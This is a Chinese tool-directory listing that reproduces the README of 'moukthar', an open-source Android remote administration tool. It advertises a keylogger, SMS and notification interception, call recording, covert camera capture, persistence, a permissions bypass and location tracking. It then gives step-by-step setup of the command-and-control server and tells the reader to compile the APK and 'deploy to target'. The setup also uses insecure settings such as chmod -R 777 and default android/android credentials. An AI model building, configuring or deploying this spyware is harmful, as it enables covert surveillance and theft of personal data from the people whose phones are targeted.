百科.dev
全部条目AI 编程趋势榜开源项目技术资讯提交条目
登录
< 返回工具列表
M

moukthar

> 编程语言
开源

Android 远程管理工具

674 stars0 点赞0 次浏览
访问官网GitHub

工具介绍

Android 远程管理工具

Moukthar

Remote adminitration tool for android

Demo

Features

  • Permissions bypass (android 12 below)
  • Keylogger
  • Notifications listener
  • SMS listener
  • Phone call recording
  • Image capturing and screenshots
  • Video recording
  • Persistence
  • Read & write contacts
  • List installed applications
  • Download & upload files
  • Get device location

Installation

  • Clone repository
    git clone https://github.com/Tomiwa-Ot/moukthar.git
    
  • Install php, composer, mysql, php-mysql driver, apache2 and a2enmod
  • Move server files to /var/www/html/ and install dependencies
    mv moukthar/Server/* /var/www/html/
    cd /var/www/html/c2-server
    composer install
    cd /var/www/html/web-socket/
    composer install
    cd /var/www
    chown -R www-data:www-data .
    chmod -R 777 .
    
    The default credentials are username: android and password: android
  • Create new sql user
    CREATE USER 'android'@'localhost' IDENTIFIED BY 'your-password';
    GRANT ALL PRIVILEGES ON *.* TO 'android'@'localhost';
    FLUSH PRIVILEGES;
    
  • Set database credentials in c2-server/.env and web-socket/.env
  • Execute database.sql
  • Start web socket server or deploy as service in linux
    php Server/web-socket/App.php
    # OR
    sudo mv Server/websocket.service /etc/systemd/system/
    sudo systemctl daemon-reload
    sudo systemctl enable websocket.service
    sudo systemctl start websocket.service
    
  • Modify /etc/apache2/sites-available/000-default.conf
    
          ServerAdmin webmaster@localhost
          DocumentRoot /var/www/html/c2-server
          DirectoryIndex app.php
          Options -Indexes
    
          ErrorLog ${APACHE_LOG_DIR}/error.log
          CustomLog ${APACHE_LOG_DIR}/access.log combined
    
    
  • Modify /etc/apache2/apache2.conf
      Comment this section
      #
      #       Options FollowSymLinks
      #       AllowOverride None
      #       Require all denied
      #
    
     Add this
      
          Options -Indexes
          DirectoryIndex app.php
          AllowOverride All
          Require all granted
      
    
  • Increase php file upload max size /etc/php/*.*/apache2/php.ini
    ; Increase size to permit large file uploads from client
    upload_max_filesize = 128M
    ; Set post_max_size to upload_max_filesize + 1
    post_max_size = 129M
    
  • Set web socket server address in tag in c2-server/src/View/home.php and c2-server/src/View/features/files.php
    const ws = new WebSocket('ws://IP_ADDRESS:8080');
    
  • Restart apache using the command below
    sudo a2enmod rewrite && sudo service apache2 restart
    
  • Set C2 server and web socket server address in client functionality/Utils.java
    public static final String C2_SERVER = "http://localhost";
    
    public static final String WEB_SOCKET_SERVER = "ws://localhost:8080";
    
  • Compile APK using Android Studio and deploy to target

Screenshots

TODO

  • Auto scroll logs on dashboard
  • Screenshot not working
  • Image/Video capturing doesn't work when application isn't in focus
  • Downloading files in app using DownloadManager not working
  • Listing constituents of a directory doesn't list all files/folders

Issues· 0 开放

查看全部 Issues在 GitHub 打开

暂无开放 Issues,或尚未同步最近议题。

> 标签

PHPandroidandroid-ratc2c2-server

暂无评论,来聊聊你的看法吧

> 工具信息

发布日期2026年8月1日
最后更新2026年9月17日
分类编程语言
定价开源

> 相关工具

T
TypeScript
JavaScript 的超集,为前端与全栈提供静态类型
P
Python
通用编程语言,广泛用于 Web、数据与 AI
G
Go
Google 推出的简洁高效系统语言